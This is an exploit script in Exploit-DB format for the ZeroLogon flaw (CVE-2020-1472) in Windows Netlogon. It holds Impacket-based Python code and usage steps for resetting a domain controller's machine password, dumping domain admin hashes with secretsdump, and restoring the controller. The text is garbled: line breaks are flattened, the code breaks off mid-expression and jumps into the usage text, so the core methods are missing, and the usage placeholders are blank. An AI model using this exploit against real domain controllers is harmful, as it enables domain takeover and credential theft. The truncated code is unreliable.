# Exploit Title: ZeroLogon - Netlogon Elevation of Privilege # Date: 2020-10-04 # Exploit Author: West Shepherd # Vendor Homepage: https://www.microsoft.com # Version: Microsoft Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2 # Tested on: Microsoft Windows Server 2016 Standard x64 # CVE : CVE-2020-1472 # Credit to: Tom Tervoort for discovery and Dirk-Janm for Impacket code # Sources: https://www.secura.com/pathtoimg.php?id=2055 # Requirements: python3 and impacket 0.9.21+ (tested using this version) #!/usr/bin/env python3 import hmac, hashlib, struct, sys, socket, time, argparse, logging, codecs from binascii import hexlify, unhexlify from subprocess import check_call from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED from impacket.dcerpc.v5 import nrpc, epm, transport from impacket import crypto, version from impacket.examples import logger from Cryptodome.Cipher import AES from struct import pack, unpack from impacket.dcerpc.v5.rpcrt import DCERPCException class Exploit: def __init__( self, name='', address='', attempts=2000, password='' ): name = name.rstrip('$') self.secureChannelType = nrpc.NETLOGON_SECURE_CHANNEL_TYPE\ .ServerSecureChannel self.authenticator = self.getAuthenticator(stamp=0) self.clearNewPasswordBlob = b'\x00' * 516 self.primaryName = ('\\\\%s' % name) + '\x00' self.accountName = ('%s$' % name) + '\x00' self.computerName = name + '\x00' self.clientCredential = b'\x00' * 8 self.clientChallenge = b'\x00' * 8 self.negotiateFlags = 0x212fffff self.address = address self.max = attempts self.dce = None self.sessionKey = None self.clientStoredCredential = None self.password = password def encodePassword(self, password): if isinstance(password, str): password = password.encode('utf-8') return b'\x00' * (512 - len(password))\ + password \ + pack(' -ip 2. Exploit the DC - this will break the DC until restored: cve-2020-1472.py -do exploit -ip 3. Dump the DC - for the DA hashes, this will not contain the machine hex-pass: secretsdump.py -just-dc -no-pass \$@ 4. Dump the DC again - use the DA hash to get the machines hex-pass: secretsdump.py -no-pass -hashes : /@ 5. Restore target - this fixes the DC: cve-2020-1472.py -do restore -target -ip -hex """ parser = argparse.ArgumentParser( description='CVE-2020-1472 ZeroLogon Exploit - Netlogon Elevation of Privilege', add_help=True ) try: parser.add_argument('-do', default='check', action='store', help='What to do (default check): [check|restore|exploit]') parser.add_argument('-target', action='store', help='NETBIOS name of target DC (not the FQDN)') parser.add_argument('-ip', action='store', help='IP address of target DC') parser.add_argument('-password', default='', action='store', help='The plaintext password to use to reset the DC') parser.add_argument('-hex', default='', action='store', help='The hex password to use to restore the DC (recommended)') parser.add_argument('-max', default=2000, action='store', help='Max attempts to authenticate with the DC (usually ~300 or less)') if len(sys.argv) < 3: parser.print_help() print(info) sys.exit(1) options = parser.parse_args() if options.do.lower() == 'check': Exploit( name=options.target, address=options.ip, attempts=int(options.max) ).authenticate() elif options.do.lower() == 'exploit': exp = Exploit( name=options.target, address=options.ip, attempts=int(options.max) ) if exp.authenticate(): exp.exploit() elif options.do.lower() == 'restore': if options.hex != '' and options.password == '': options.password = unhexlify(options.hex) if options.password != '': exp = Exploit( name=options.target, address=options.ip, password=options.password ).restore() else: parser.print_help() except Exception as error: sys.stderr.write('[-] error in main %s\n' % str(error))